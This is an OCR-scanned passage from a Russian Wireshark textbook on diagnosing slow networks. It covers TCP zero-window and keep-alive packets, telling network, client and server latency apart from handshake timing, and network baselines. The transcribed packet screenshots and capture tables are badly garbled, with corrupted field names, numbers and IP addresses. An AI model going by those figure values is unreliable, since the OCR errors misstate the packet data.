NP.15 . r--..tUJJOOOJ SoinwШ./fl.42#·~ /!U.Uf..tuD Al;ICIQ;l6 rCP·l.,,,,nlO !1'r1:{'n:PfhlirlЬwCJodмl}aJЯ-1nl1{ACl(jS:.,.lШJ'U1'1$Ad,.Z7lJJ11:lS.f1,'*'-U.НDW1 

~ 

Рис. 1 1. 18. Пакет ТСР с обновленным размером окна приема уведомляет дру
гой хост, что он может снова начать передачу данных 

• Woeshortt · Pockd 2 tcp_zetowindowd"d о х 1 

fr- 2: 66 bytes on wir• (528 bits), 66 Ьу1:еs coptur•d (52'801ts) ---- --

Ethern~t II 1 Src: ~lettP_84:cl:c6 (8e:16:3S:a4:c1:c6), Dst: All-НSRP·t'ot.lters_81 (ее:ее:ес:87:•с:е1) 

Internet Protccol Veгsion 4, Src: 172.31 . 1.36.&S, Dst: 195.81.282.68 

"' Trarrs•1ssion Control Pгotocol, Sr,c. Port:~ 38709 (38763), Dst Port: 8е 88), §!q· 764338729, Ac.k: 131899718', ~=-=-•.о_.-1 

Source Pol"'t: 38768 
Destination Port: 80 

[Strea• index: 0) 
[ТСР Sepont len: 8) 
Sequence n~r: 784338729 
Aclcnowl~pent nut1Ьeг: 1319997786 

Header length: 32 Ьytes 

> Flogs: 8х018 (АСК) 

\iindow size value: 8 

(C11lculated window size: 8] 

[Window size sc1ling fartor : -1 (unknown)] 
Checksu•: &хЗбdе [validation disaЬled] 
UГ3ent pointer: 8 
Options: {12 bytes), No-Oper•tion (tIOP), rto -Oper-ation {НОР), Ti8estaaps 

v (SEQ/ACK onolysi>l 
[This is an А(К to the segpent in frwe: 11 

[The RТТ to АСК the sepent was: 0.008829980 seconds) 

lТСР Aл•lysis flogs] 
[Expert Info (Warn/S~uence): fCP Ze-ro Window sepent] 

ND.: l ' ~ O.Q1DQ11 5otirtl!r lllJJ.J.J&llS • .Dri!Dvtov /9s.IJ.1Q,/.61 • ~ ТО' ·. ttwhw} Зl/760- 81R{АСК} s.,.~УИЛ17д Ach-UJ.Иf;W .... U.-Ь ТS~6/i6D24JIS Ts.traU:. 

гоо;=] 

Рис. 1 1. 19. Пакет с нулевым размером окна приема прерывает передачу данных 



Этот пакет очень похож на пакет с нулевым размером окна приема, приве

денный на рис. 11 .17, хотя результат его отправки совсем другой. Вместо па

кета с обновленным размером окна приема, а следовательно, разрешением от 

хоста, расположенного по адресу 172. 31.136.85, на возобновление передачи 

данных мы наблюдаем в данном случае пакет поддержания активным соедине

ния (рис. 11.20) . 

• Wireshark. Pack~ 3 . tcp_zerow1ndowdead 

------- --- -
fr..., 3: 66 bytes on wire (528 Ыts), 66 byt•s coptuг•d ( 528 Ьits) 
Ethernet II, Src: Ciscoinc_72:15:00 (ее:еь:Ь..:72:15:00), Ost: HewlettP_a4:cl:cб (00:1б:35 :о4 :сl:сб) 

> Internet Protocol V~rsion 4, Src: 195.81.292.68, Ost; 172.31.136 .8~ 

v Tr•n"ission Control Protocol, Src Po.-t : 1111 (88), Drt J>ort: 38768 (38768), Seq: 1318997785, A.ck: 794338729, 
Souгce Port: 80 
Destination Port: 38760 
(Stгe.,. index: е] 
[ТСР Se-nt L•n: 0) 
Sequence nUllhl!r: 1310997785 
Acknowledpent nu.Ьer: 7043.38729 
Н<:•dог Length: 32 Ьytes 
fl•gs: ехе10 (АСК) 
Window size value: 188 

[Calculat•d window size: 108] 
[Window sizo scaling factor: -1 (unk,,._,)] 
ChecksUdl: 0х3311 [validation disaЬled] 
Urgent pointer: 0 

' Options: (12 bytes}, No-Operation (NOP) 1 tkt-Oper~tion (NOP), TiJwstaeps 

v [SEQIACK analysis) 
v [ТСР Analysis Flags] 

" [Export Info (Note/Sequenc•}: ТСР keep-•live • •P"nt) О 
(ТСР keep-alive segnoent] 
(Severity level: Note] 
[бroup: Sequ~nce] 

о х 1 

No.: з-:-r~ J.41;;;-;;;;_ JSS.SJ..102.u · Dмit#X1N JlLJJ. J.Jf..IS ~ т~ · ... tиJ &1- JS,W (АСКJ s.,q,._JJ1(19ЗJ7SS Ad:~m-;;._~ ип-о r:sv~W4JЗ8 тs.a-10<t J 
l0osel ~ 

Рис. 11 .20. Этот пакет поддержания активным соединения гарантирует, что связь с 
хостом, пославшим нулевой размер окна, по-прежнему существует 

В результате анализа, проведенного в Wireslыrk, данный пакет помечен в 

разделе SEQ/ACК analysis его ТСР-заголовка как поддерживающий активным 

соединение О. И как показано в столбце Time, данный пакет отправлен через 

3,4 секунды после получения последнего пакета. Этот процесс продолжается 

еще несколько раз, когда один хост посылает пакет с нулевым размером окна 

приема, а другой хост - пакет поддержания активным соединения (рис. 11 .21). 

l z 0.eoeel<J 172.31.136 8S 19S . 81.202 68 ТСР 66 (Т<Р lt:roWindowj 38760" 80 [АСК) 5e-q-7f'4H6779 ACk».1310997786 Wln- 8 Len..O 15\/-

3 3.410576 1%.81.Z02.68 172.Н 1Зб.8S ТСР &6 (1СР Ке~р Alive] 80 ... 38760 (АСК:J Seq•l31099П8S Ack•70433872q WJn$10S Len"'9 Т. 

4 6.000031 172.Зl.Вб.85 19S . 81.2e2.68 ТСР 66 (ТСР Zerowindaw] 38760 ~ 80 [АСК] Sеч•704338729 Ack"13Ht997786 Win"'6 le-n.В iSv-

S 6 . /64127 195".81 282.68 171.31.136.8~ Т(Р 6Ь (l<P Kel."p~A11ve') 80 ... 38760 {дСIС) ~s13109977t!'; Ack•704BЗ7J.9 Win..::108 ten--0 1'"_ 

б 0.000029 172.31.lЗб ss l9S.81.201.68 ТСР 6& (ТСР ZeгOW1ndoм] 38760" 80 (АСК] s~q"70433872C» Ack•l.310997786 Wн1 .... 0 ll!'n-0 тsv_ 

7 13.536714 19S.61.202.б8 172.31.136.85 ТСР 66 (ТСР Kl!'ep-Alivl!'] 80 • 38758 [АСК] S«i"l3109977SS Ac.k"7043J3729 Win•l08 Len"o Т-

8 0.000047 111 . 31.136.SS lfi/S 81 201 68 ТСР Ь6 [Tt.P lt"rdrlindowl З8760 "tw МК ~764Н872'Э д...k•t3 1()99П&6 W1n-0 1.f!n~ TSv-

Рис. 11.2 1. Сервер и клиент продолжают посылать пакеты с нулевым размером окна 
приема и поддержания активным соединения соответственно 
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Передача пакетов поддержания активным соединения происходит через 

промежутки времени 3,4, 6,8 и 13,5 секунды О. Этот процесс может продол
жаться довольно долго в зависимости от конкретной системы, под управлени

ем которой работают устройства, обменивающиеся данными. Как следует из 

столбца Time, обмен данными прерывается приблизительно через 25 с. Если 
представить себе, что это происходит в процессе аутентификации с помощью 

контроллера домена или загрузки файла из Интернета, то подобная задержка 

в 25 с просто неприемлема! 

Вь1воды из анализа пакетов дnя исправления ошибок 

и управления потоками данных по протоколу ТСР 
Попробуем ввести повторную передачу данных, дублирующие подтвержде

ния и механизм скользящего окна в определенный контекст. Ниже приведе

ны выводы из анализа упомянутых выше пакетов. Эти выводы следует иметь 

в виду, когда приходится разрешать затруднения, возникающие в связи с за

держками в работе сети. 

• Повторно передаваемые пакеты. Повторные передачи происходят 

потому, что клиент обнаружил, что сервер не принимает данные, кото

рые он посылает. Следовательно, повторные передачи можно и не за

метить, хотя это зависит от того, на какой именно стороне соединения 

анализируются пакеты. Так, если вы перехватываете данные от сервера 

и он действительно не принимает пакеты, посылаемые и повторно пе

редаваемые клиентом, вы можете оказаться в неведении относительно 

повторно передаваемых пакетов. И если вы подозреваете, что стали 

жертвой потери пакетов на стороне сервера, попробуйте перехватить 

сетевой трафик от клиента, если это вообще возможно, чтобы убедить

ся в наличии повторно передаваемых пакетов. 

• Пакеты с дублирующими подтверждени.ями. Я лично стремлюсь 

рассматривать дублирующее подтверждение как псевдопротивополож

ную повторную передачу, поскольку оно посылается в том случае, если 

сервер обнаруживает, что пакет от клиента, с которым он связан, был 

потерян при передаче. Зачастую дублирующие подтверждения можно 

наблюдать, перехватывая сетевой трафик на обеих сторонах установ

ленного соединения. Напомним, что дублирующие подтверждения ини

циируются в том случае, если пакеты принимаются не по порядку. Так, 

если сервер получит лишь первый и третий из трех отправленных ему 

пакетов, он пошлет дублирующее подтверждение, чтобы затребовать 

от клиента повторную передачу второго пакета. А поскольку получены 



лишь первый и третий пакеты, то второй пакет пропущен временно, не

зависимо от конкретной причины, а следовательно, дублирующее под

тверждение, вероятнее всего, будет отправлено и получено успешно. 

Безусловно, такой сценарий имеет место далеко не всегда, и если вы по

дозреваете потерю пакетов на стороне сервера и при этом не обнаружи

ваете никаких дублирующих подтверждений, попробуйте перехватить 

пакеты с клиентской стороны установленного соединения. 

• Пакеты с нулевым размером окна приема и поддержания актив

ным соединения. Механизм скользящего окна непосредственно свя

зан с неспособностью сервера принимать и обрабатывать данные. Лю

бое уменьшение размера окна приема или даже его установка в нулевое 

состояние является непосредственным результатом какого-то затрудне

ния, возникшего на сервере. И если в сети происходит любое из этих 

событий, то уделите ему самое пристальное внимание. Как правило, вы 

обнаружите пакеты с обновленным размером окна приема на обеих сто

ронах установленного по сети соединения. 

Выявление источника большой сетевой задержки 
Иногда задержки в сети не приводят к потере пакетов. При этом можно 

обнаружить, что хотя сеть и работает медленно, но повторные передачи по 

протоколу ТСР или дублирующие подтверждения, не возникают, несмотря на 

медленный обмен данными между двумя хостами. Следовательно, требуется 

какой-то другой способ, позволяющий обнаружить источник большой сете

вой задержки. 

К числу самых эффективных способов, позволяющих обнаружить источ

ник большой сетевой задержки, относится исследование процедуры перво

начальной установки связи и первой пары следующих после этого пакетов. 

Рассмотрим в качестве примера соединение клиента с веб-сервером с целью 

просмотра веб-сайта, размещаемого на этом сервере. В данном случае нас ин

тересуют первые шесть пакетов в анализируемой последовательности обмена 

данными, состоящей из процедуры трехэтапной установки связи по протоко

лу ТСР, первоначального НТТР-запроса по методу GET, подтверждения приема 

этого запроса и первого пакета данных, отправленного сервером клиенту. 

l1iplИ!pmiiil Для праработки материала этого раздела установите соответству~ 

щий фармат отображения времени в Win>shark, выбрав команду Viewq 

Time Display FormatqSeconds Since Previous Displayed Packet (Ви~Фоfr 

мат отображения вре.мениq Коли'Чl!ство с,екунд, прошедших с момента 

отображения предыдущего пакета) из главного меню. 
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Обычнь1й обмен данными 

Файл перехвата 

latencyl.pcapng 
Исходные характеристики сети мы обсудим позднее, а до 

тех пор достаточно знать, что эти характеристики обычно

го обмена данными требуются для сравнения с условиями 

большой сетевой задержки. Для анализа рассматриваемых здесь примеров мы 

воспользуемся файлом перехвата latencyl .pcapng. Ранее уже пояснялись под

робно особенности трехэтапной установки связи по протоколу ТСР и обмена 

данными по протоколу НТТР, поэтому мы не будем рассматривать эти вопро· 

сы снова. В действительности мы вообще не будем обращаться к панели Packet 

Details, поскольку для наших целей достаточно проанализировать содержимое 

столбца Ti.me, как показано рис. 11.22. 

.... - S<ua """""" "•""" 
1 '·"'""' 

112.16.lt:.UI 7_.. 11~.tS.lN те• 
2 1.1)8187 7•.125.95.1&4 172 .16 16.1215 ТСР 

) t.118875 172.16.16.128 74US.9S.114 ТСР 

4 t.ММ66 172.16.16.111 74.125.95.1" НТТР 

s t.648771 74.125.95.164 172.16 . 16.12.8 ТСР 68 88 -. 1686 (ACi<:] ~·2775577374 Ack•2882592!9S Win•6976 L1!'1 ... 

' ••• 21.176 74.125.95.114 172.16 .16.121 ТСР 1468 [ТСР Sl!glИ"t of • r"•~se.Ьl!!d POU) 

Рис. 11.22. Приведенный здесь сетевой трафик возникает очень быстро и может счи
таться обычным 

Такая последовательность обмена данными происходит довольно быстро, 

причем весь этот процесс занимает меньше О , 1 секунды. Ряд анализируемых 
далее файлов перехвата содержат одни и те же образцы сетевого трафика, но 

главные отличия проявляются во временных характеристиках пакетов. 

Медленный обмен данными из-за сетевой задержки 

Файл перехвата 

latency2.pcapnq 

.... - S<ua 

1 t."86М8 111.16.16.128 
2 е.111sзе 74 . 125.95.ltм 

J е.11бИА 172.16.16.128 
4 1.оеенs 172.16.16.121 
s 1.155221 7.6. ]2' . 95 .184 
6 1.815866 74.125.fl.164 

А теперь обратимся к анализу содержимого файла перехва· 

та latency2 .pcapng. Обратите внимание на то, что все па· 
кеты в этом файле одинаковы, кроме временных характе· 

ристик двух из них, как показано на рис. 11.23. 

"""'"""' ?4.12S.95.164 
172.16.16.128 ТСР 

74.11S.9S.184 rcP 
74.125.95.164 НТТР 

172.16.16.128 ТСР 

172.16.16.UB ТСР 

Ь6 16'6 • 1О {SYflJ ~q•2N2691761 Win-1192 l~f'l"8 НSS•l468 WS-4 $АС.~-р~~1 

"88 " 1616 {SYN, М:К] ~q"2775577173 Ack•2e82691768 Win•S729 Le:n-t "55•1486 SACK_PERt\-1 WS•64 
~ 1686 " 18 (АСК) ~q·l812691768 Aclt•217~517374 Win•16872 te:n" 

681 6ЕТ / КТТl'/1.1 
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Рис. 11.23. В пакетах 2 и 5 проявляется большая задержка 

Постепенно анализируя эти шесть пакетов, в них можно сразу же обнару· 

жить первый признак сетевой задержки. Так, первоначальный пакет SYN от· 

правляется клиенту, находящемуся по адресу 172 .16 .16 .128, чтобы начать нро· 

цедуру установки связи по протоколу ТСР, и в ответ сервер, расположенный 

по адресу 74 .125. 95 .104, возвращает пакет SYN/ACK с задержкой 0,87 секунды. 



И это первый признак сетевой задержки, обусловленной устройством, нахо

дящимся между клиентом и сервером. 

Из этого анализа можно сделать вывод, что в данном случае имеет место 

сетевая задержка, исходя из характера типов передаваемых пакетов. Когда 

сервер получает пакет SYN, ему требуется минимальное количество времени 

на его обработку и отправку ответа, поскольку рабочая нагрузка на сервер не 

включает в себя никакой обработки на транспортном уровне. И даже если 

сервер испытывает весьма интенсивный сетевой трафик, он, как правило, до

вольно быстро посылает пакет SYN/ACK в ответ на принятый пакет SYN. Сле

довательно, сервер можно исключить из числа потенциальных источников 

большой сетевой задержки. 

Клиента следует также исключить, поскольку в данный момент на стороне 

клиента не происходит никакой обработки, помимо получения пакета SYN/ 

АСК. Исключение клиента и сервера из числа потенциальных источников 

большой сетевой задержки указывает на то, что эти источники скрываются в 

первых двух пакетах из анализируемого здесь перехваченного трафика. 

Продолжая анализ пакетов, можно обнаружить, что передача пакета АСК, 

завершающего процедуру трехэтапной установки связи по протоколу ТСР, вы

полняется очень быстро, как это происходит с НТТР-запросом по методу GET, 

который посылается клиентом. Вся обработка обоих пакетов выполняется ло

кально на стороне клиента после приема пакета SYN/ACK, и поэтому они долж

ны передаваться быстро, при условии, что клиент не испытывает большую 

вычислительную нагрузку. 

Анализ пакета 5 показывает, что это еще один пакет с очень большим вре
менем задержки. В частности, после отправки НТТР-запроса по методу GET 

ответный пакет АСК был возвращен сервером через 1, 15 с. После получения 
НТТР-запроса по методу GET, сервер должен сразу же отправить пакет АСК 

по протоколу ТСР (т.е. еще до начала передачи данных), на что ему обычно 

требуется очень мало времени. И это еще один явный признак сетевой за

держки. 

Всякий раз, когда возникает задержка в сети, она почти всегда проявляется 

при обработке пакетов SYN/ACK во время первоначальной установки связи и 

других пакетов АСК при обмене данными. И хотя полученные сведения о се

тевой задержке не сообщают о конкретном ее источнике, они свидетельству

ют о том, что этим источником не является ни клиент, ни сервер. Им, скорее 

всего, является какое-то устройство, находящееся в промежутке между клиен

том и сервером. И это служит основанием для дальнейшего анализа работы 

различных брандмауэров, маршрутизаторов и прокси-серверов, чтобы найти 

среди них виновника возникшей задержки. 
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Медленнь1й обмен данными из-за задержки 

на стороне клиента 

Фай.л перехвата 

latencyЗ.pcapng 

... т.-. ""'"' 1 •~teeeee 172.16.tб.128 

2 8.823798 74.125.95.184 

з е.1141~ 172.16.16.128 
4 1.345823 172.16.16.128 
S8.~6Ul 74.125.95.1~ 

'е.е1&1&2 74.125.95.1&4 

Следующий сценарий задержки мы исследуем на примере 

из файла перехвата latencyЗ. pcapng, как показано на 

рис. 11 .24. 
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Рис. 11 .24. В этом перехваченном трафике медленным оказывается первоначальный 
НТТР-запрос, передаваемый по методу GET 

Анализируемый здесь перехваченный трафик обычно начинается с трехэ

тапной установки связи по протоколу ТСР, происходящей очень быстро и без 

всяких признаков сетевой задержки. Все выглядит правильно вплоть до паке

та 4, который содержит НТТР-запрос по методу GET, посылаемый по оконча
нии процедуры установки связи. В этом пакете наблюдается задержка в 1,34 с 
относительно предыдущего полученного пакета. 

Чтобы определить источник такой задержки, необходимо выяснить, что 

же происходит в промежутке между обменом пакетами 3 и 4. В частности, па
кет 3 является завершающим пакетом АСК в процедуре установки связи по про
токолу ТСР и посылается клиентом серверу. А пакет 4 содержит НТТР-запрос 
по методу GET, который посылается тем же самым клиентом серверу. Общим 

для этих пакетов служит то обстоятельство , что оба они посылаются клиен

том и не зависят от сервера. НТТР-запрос по методу GET должен быть отправ
лен вскоре после отправки пакета АСК, поскольку все эти действия сосредото

чены на стороне клиента. 

К сожалению для конечного пользователя , переход от подтверждения к 

НТТР-запросу по методу GET не происходит быстро. Для составления и пере

дачи пакета с НТТР-запросом по методу GET требуется обработка на уровне 
приложений, и задержка, возникающая при такой обработке, явно указывает 

на то, что клиент не сумел выполнить соответствующее действие своевремен

но. Таким образом мы выяснили, что в нашем случае клиент отвечает за боль

шую задержку в обмене данными по сети. 



Медленный обмен данными из-за задержки 

на стороне сервера 

Файл перехвата 

latency4.pcapnq 

И последний сценарий задержки мы исследуем на примере 

из файла перехвата latency4 .pcapng, как показано на 

рис. 11.25. И это пример задержки на стороне сервера. 
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Рис. 11.25. Большая задержка на стороне сервера не проявляется вплоть до послед
него пакета в анализируемом эдесь перехваченном трафике 

В анализируемом здесь перехваченном трафике процесс установки связи 

по протоколу ТСР завершается безошибочно и быстро, и поэтому обмен дан

ными между двумя хостами начинается успешно. Следующая пара пакетов не 

вызывает никаких подозрений, поскольку первоначальные пакеты с НТТР-за

просами по методу GET и подтверждающими ответами АСК доставляются очень 
быстро. И только в последнем пакете из рассматриваемого здесь файла пере

хвата проявляются признаки сетевой задержки. 

Это шестой пакет, который посылается первым по протоколу НТТР с дан

ными из сервера в ответ на запрос по методу GET, отправленный клиентом. Он 
поступает с задержкой 0,98 с после отправки сервером подтверждающего па
кета АСК по протоколу ТСР в ответ на полученный запрос по методу GET. Пере
ход между пакетами 5 и б очень похож на переход между пакетами с запросом 
по методу GET и подтверждающим ответом АСК, как пояснялось в предыдущем 
сценарии. Но в данном случае в центре нашего внимания оказывается сервер, 

а не клиент. 

Пакет 5 содержит подтверждение АСК, посылаемое сервером в ответ на за
прос по методу GET от клиента. Как только этот пакет будет отправлен, сервер 
должен практически сразу же приступить к передаче запрашиваемых данных. 

Доступ к запрашиваемым данным, их упаковка и передача в этом пакете вы

полняется по протоколу НТТР. А поскольку это протокол уровня приложе

ний, сервер должен выполнить некоторую обработку данных. Задержка в при

еме этого пакета ука:3ьrвает на то, что сервер оказался не в состоянии обрабо

тать запрашиваемые данные в течение приемлемого промежутка времени, а 

следовательно, он и есть основной источник задержки, зафиксированной в 

анализируемом здесь файле перехвата. 
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Порядок обнаружения задержек в сети 

Проанализировав шесть пакетов в ряде предыдущих сценариев, нам уда

лось обнаружить источник большой сетевой задержки между клиентом и сер

вером. Блок-схема, приведенная на рис. 11.26, должна помочь вам в диагно
стике затруднений, возникающих из-за сетевых задержек. Рассматриваемые 

здесь принципы можно применить к любому виду обмена данными по прото

колу ТСР. 

Клиент 

в 

ш 

в 

ш 

-------SYN ---------

------SYN/ACK 

--------АСК ---------

Запрос по протоколу седьмого 
уровня 

--------АСК ----------

Данные по протоколу седьмого 
уровня 

О Сетевая задержка 

Ш Задержка на стороне клиента 

Ш Задержка на стороне сервера 

Сервер 

Рис. 11.26. Этой блок-схемой можно пользоваться при диагностике 

проблем, возникающих из-за сетевых задержек 

l1!QЩIU1iШ!i Обратите внимание на то, -что мы практически ни-чего не упоминали 

о сетевых задержках по протоколу UDP. Дело в том, -что протокол UDP 

предназначен для быстрого, но ненадежного обмена даннъtми, и поэт~ 

му в нем отсутствуют встроенные средства для обнаружения и устра

нения сетевых задержек. Вместо этого вся работа перекладываетс,я на 

протоколы уровня приложений (и протокол ICMP), обеспечивающие на

дежную доставку данных по сети. 
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Сравнение с исходными характеристиками сети 
Если все описанные выше методики и способы не помогают, то остается 

только сравнение с исходными характеристиками сети, дающими едва ли не 

самые важные сведения о сети при диагностике ее медленной работы. Исход

ные xapa1Cmepucmu'Кu сети состоят из образцового трафика, перехваченного в 

разных точках сети и включающего в себя немалую долю того, что принято 

считать "нормальным" сетевым трафиком. Назначение исходных характе

ристик сети - служить эталоном для сравнения в тех случаях, когда сеть или 

устройства в ней функционируют неверно. 

В качестве примера рассмотрим сценарий, где несколько клиентов жалу

ются на медленную работу сети, когда они регистрируются на локальном сер

вере веб-приложений. Если перехватить этот сетевой трафик и сравнить его 

с исходными характеристиками сети, то можно обнаружить, что веб-сервер, 

как правило, отвечает, но внешние DNS-запросы, возникающие в результате 

встраивания внешнего содержимого в веб-приложсние, выполняются в два 

раза медленнее, чем обычно. 

Допустим, что медленно работающий внешний DNS-cepвep удалось выя

вить, не прибегая к исходным характеристикам сети. Но совсем другое дело, 

когда приходится иметь дело с незначительными изменениями в работе сети. 

В частности, обработка каждого из десяти DNS-запросов может отнять на 

О, 1 с больше, чем в обычных условиях, что в конечном итоге приводит к такой 
же задержке, как и при обработке одного DNS-зaпpoca в течение 1 с. Но обна
ружить первую ситуацию намного труднее без сравнения с исходными харак

теристиками сети. 

Двух одинаковых сетей не бывает, и поэтому отдельные составляющие ис

ходных характеристик сети могут существенно отличаться. В последующих 

разделах представлены примеры отдельных видов составляющих исходных 

характеристик сети. Возможно, все эти составляющие или только некоторые 

из них вполне подойдут для инфраструктуры вашей сети. Но как бы там ни 

было, вы можете отнести каждую составляющую исходных характеристик 

своей сети к одной из следующих категорий: сайт, хост и приложение. 

Исходные характеристики сети для сайта 

Назначение исходных характеристики сети для сайта - получить общий 

моментальный снимок сетевого трафика на каждом сайте в сети. В идеаль

ном случае это может быть каждый сегмент глобальной сети. К составляющим 

этой категории исходных характеристик сети относятся следующие. 



• Применяемые протоколы. Чтобы проанализировать сетевой трафик 

от всех устройств, откройте окно Protocol Hierarchy Statistics (Статистика 

иерархии протоколов) по команде главного меню StatisticsqProtocol Hier

archy в процессе перехвата сетевого трафика от всех устройств в сегмен

те сети, находящемся на ее краю (маршрутизаторов или брандмауэром). 

В дальнейшем его можно сравнить с выводом из иерархии протоколов, 

чтобы выяснить, отсутствуют ли обычно присутствующие или новые 

протоколы, самостоятельно внедренные в сети. Этим выводом можно 

также воспользоваться, чтобы выявить объемы сверх обычного опреде

ленных типов трафика в зависимости от конкретного протокола. 

• Широковещательный трафик. К этой составляющей исходных ха

рактеристик относится весь широковещательный трафик в сегменте 

сети. Прослушивание сети в любой точке сайта позволяет перехватить 

весь широковещательный трафик и выяснить, кто или что обычно по

сылает в большом количестве широковещательные пакеты по сети. 

И тогда можно быстро определить, является широковещательная пере

дача пакетов чрезмерной или недостаточной. 

• Последовательности аутентификации. К этой составляющей ис

ходных характеристик относится сетевой трафик, проходящий от про

извольных клиентов, где выполняются процессы аутентификации, ко 

всем службам вроде Active Diгectory, веб-приложений и программного 
обеспечения, специально применяемого в организации. Аутентифика

ция относится к одним из наиболее распространенных причин медлен

ной работы служб. А исходные характеристики сети позволяют выяс

нить, является ли аутентификация виной медленного обмена данными 

посети. 

• Скорость передачи данных. Как правило, это мера, определяющая 

быстроту передачи крупного объема данных различным сайтам в сети. 

Скорость передачи данных и устойчивость соединения можно опреде

лить средствами Wireshark для вывода сводных статистических данных 
о перехваченном трафике и построения графиков, как пояснялось в гла

ве 5, "Дополнительные возможности Wireshark". Это едва ли не самая 
важная исходная характеристика сети из всех доступных для сайта. Вся

кий раз, когда устанавливается или разрывается соединение с медленно 

работающим сегментом сети, можно передать тот же самый фрагмент 

данных, что и в исходных характеристиках сети, и сравнить получен

ные результаты. Такое сравнение позволит выяснить, является ли сое

динение медленным, а возможно, и выявить участок сети, на котором 

она начинает медленно работать. 
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Исходные характеристики сети для хоста 

Возможно, определять исходные характеристики сети для каждого хоста, 

т.е. узла сети, и не нужно. Исходные характеристики сети для хоста следует 

определять только на серверах с интенсивным трафиком или ответственных 

серверах. По существу, если медленная работа сервера станет причиной гнев

ных звонков со стороны начальства, то на такие случаи следует иметь в своем 

распоряжении исходные характеристики сети на данном хаете. К составляю

щим этой категории исходных характеристик сети относятся следующие. 

• Применяемые протоколы. Эта составляющая исходных характери

стик дает отличную возможность воспользоваться окном Protocol Hierarchy 
Statistics в процессе перехвата сетевого трафика от хоста. В дальнейшем 
его можно сравнить с данной составляющей исходных характеристик 

сети, чтобы выяснить, отсутствуют ли обычно присутствующие или но

вые протоколы, самостоятельно внедренные на хаете. Подобным спо

собом можно также выявить необычные объемы определенных типов 

трафика в зависимости от конкретного протокола. 

• Холостой или интенсивный сетевой трафик. Эта составляющая 

исходных характеристик сети состоит из общих перехватов обычного 

действующего трафика в периоды пиковой и непиковой нагрузки. Зная 

количество соединений и степень их пропускной способности в разное 

время суток, можно выяснить, является ли пользовательская нагрузка 

или иная проблема причиной медленной работы сети. 

• Последовательности запуска и остановки. Чтобы получить эту со

ставляющую исходных характеристик сети, придется перехватить се

тевой трафик, формируемый во время последовательностей запуска и 

остановки хоста. Если же компьютер отказывается выполнить запуск, 

остановку или работает крайне медленно во время любой из этих после

довательностей, то с помощью данной составляющей исходных характе

ристик можно выяснить, является ли тому причиной сама сеть. 

• Последовательности аутентификации. Чтобы получить эту состав

ляющую исходных характеристик сети, придется перехватить сетевой 

трафик, возникающий в процессах аутентификации во всех службах на 

данном хосте. Аутентификация - это одна из тех областей, где службы 

обычно действуют медленно. С помощью этой составляющей исходных 

характеристик сети можно выяснить, является ли аутентификация ви

ной медленного объема данными. 

• Ассоциации и зависимости. Эта составляющая исходных характери

стик сети содержит длинный перехваченный трафик, чтобы выяснить, 



от каких именно хостов зависит нормальная работа данного хоста, и на

оборот, их работа от него. Чтобы выявить подобные ассоциации и зави

симости, достаточно воспользоваться окном Conversations, доступным по 

команде главного меню StatisticsQConversations. Характерным тому при

мером служит хост SQL Serveг, от которого зависит нормальная работа 
веб-сервера. Нам не всегда известны базовые зависимости между хоста

ми, и поэтому их можно выяснить с помощью этой составляющей исход

ных характеристик сети на хосте. И на этом основании можно сделать 

вывод, функционирует ли хост ненормально из-за неисправности или 

сильной зависимости от сетевой задержки. 

Исходные характеристики сети для приложений 

И к последней категории относятся исходные характеристики сети для 

приложений. Они должны быть определены во всех сетевых приложениях, 

критически важных для ведения коммерческой деятельности. К составляю

щим этой категории исходных характеристик сети относятся следующие. 

• Применяемые протоколы. И эта составляющая исходных характери

стик дает отличную возможность воспользоваться окном Protocol Hierarchy 

Statistics в процессе перехвата сетевого трафика от хоста, на котором ра

ботает приложение. В дальнейшем его можно сравнить с данной состав

ляющей исходных характеристик сети, чтобы выяснить, нормально ли 

функционируют протоколы, от которых зависит данное приложение. 

• Последовательности запуска и остановки. Эта составляющая ис

ходных характеристик сети содержит перехваченный сетевой трафик, 

формируемый во время последовательностей запуска и остановки хо

ста. Если же приложение отказывается выполнить запуск или работа

ет крайне медленно во время любой из этих последовательностей, то с 

помощью данной составляющей исходных характеристик можно выяс

нить, является ли тому причиной сама сеть. 

• Ассоциации и зависимости. Эта составляющая исходных характери

стик сети требует наличия длинного перехваченного трафика и окна 

Conversations, чтобы выяснить, от каких именно хостов и приложений за

висит нормальная работа данного приложения. Нам не всегда известны 

базовые зависимости между приложениями, и поэтому их можно выяс

нить с помощью этой составляющей исходных характеристик сети на 

уровне приложения. И на этом основании можно сделать вывод, функ

ционирует ли приложение ненормально из-за неисправности или силь

ной зависимости от сетевой задержки. 



• Скорость передачи данных. Скорость передачи данных и устойчи

вость соединения можно определить средствами Wiresl1ark для вывода 
сводных статистических данных о перехваченном трафике и построе

ния графиков, как пояснялось в главе 5, "Дополнительные возможности 
Wiresl1ark". Всякий раз, когда возникают жалобы на медленно работаю
щее приложение, этой составляющей исходных характеристик сети на 

уровне приложения можно воспользоваться, чтобы выяснить, является 

ли причиной возникающих затруднений высокий коэффициент исполь

зования приложения и большая пользовательская нагрузка. 

Допоnнитеnьнь1е рекомендации относительно 

исходных характеристик сети 

Ниже приведен ряд дополнительных рекомендаций, которые следует 

иметь в виду при получении исходных характеристик сети. 

• При получении исходных характеристик сети перехватывайте сетевой 

трафик по каждой из категорий не меньше трех раз: один раз - в период 

малой нагрузки (рано утром), другой раз - в период большой нагрузки 

(в полдень), а в третий раз-в период холостой работы (в полночь). 

• Старайтесь не перехватывать сетевой трафик непосредственно от тех 

хостов, где производится сравнение с исходными характеристиками 

сети. В периоды интенсивного трафика это может привести к увеличе

нию нагрузки на устройство, понизить его производительность и нару

шить достоверность исходных характеристик сети вследствие пропуска 

пакетов. 

• Исходные характеристики сети будут содержать секретные данные о 

сети, поэтому их следует непременно защитить. Храните их в надежном 

месте, доступ к которому разрешен строго определенному кругу лиц. Но 

в то же время они должны быть доступны в любой удобный момент, ког

да они могут понадобиться. Выделите для этой цели отдельный накопи

тель USВ-флеш или шифруемый раздел жесткого диска. 

• Храните все полученные исходные характеристики сети в файлах пере

хвата с расширением .рсар и .pcapng и составьте памятку из наиболее 
употребительных составляющих исходных характеристик сети, напри

мер, ассоциаций или средних скоростей передачи данных. 
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Закnючитеnьнь1е соображения 
В этой главе основное внимание было уделено диагностике основных при

чин медленной работы сети. В ней был рассмотрен ряд полезных функцио

нальных возможностей протокола ТСР для повышения надежности и исправ

ления ошибок при передаче данных, продемонстрированы методики обнару

жения источников сетевых задержек при обмене данными, а также описаны 

категории составляющих исходных характеристик сети и их назначение. 

Применяя методики, представленные в этой главе, наряду со средствами по

строения графиков и анализа пакетов в Wireshark, вы должны быть вполне го
товы к диагностике сети, когда кто-нибудь пожалуется на ее медленную работу. 



АНАЛИЗ ПАКЕТОВ 

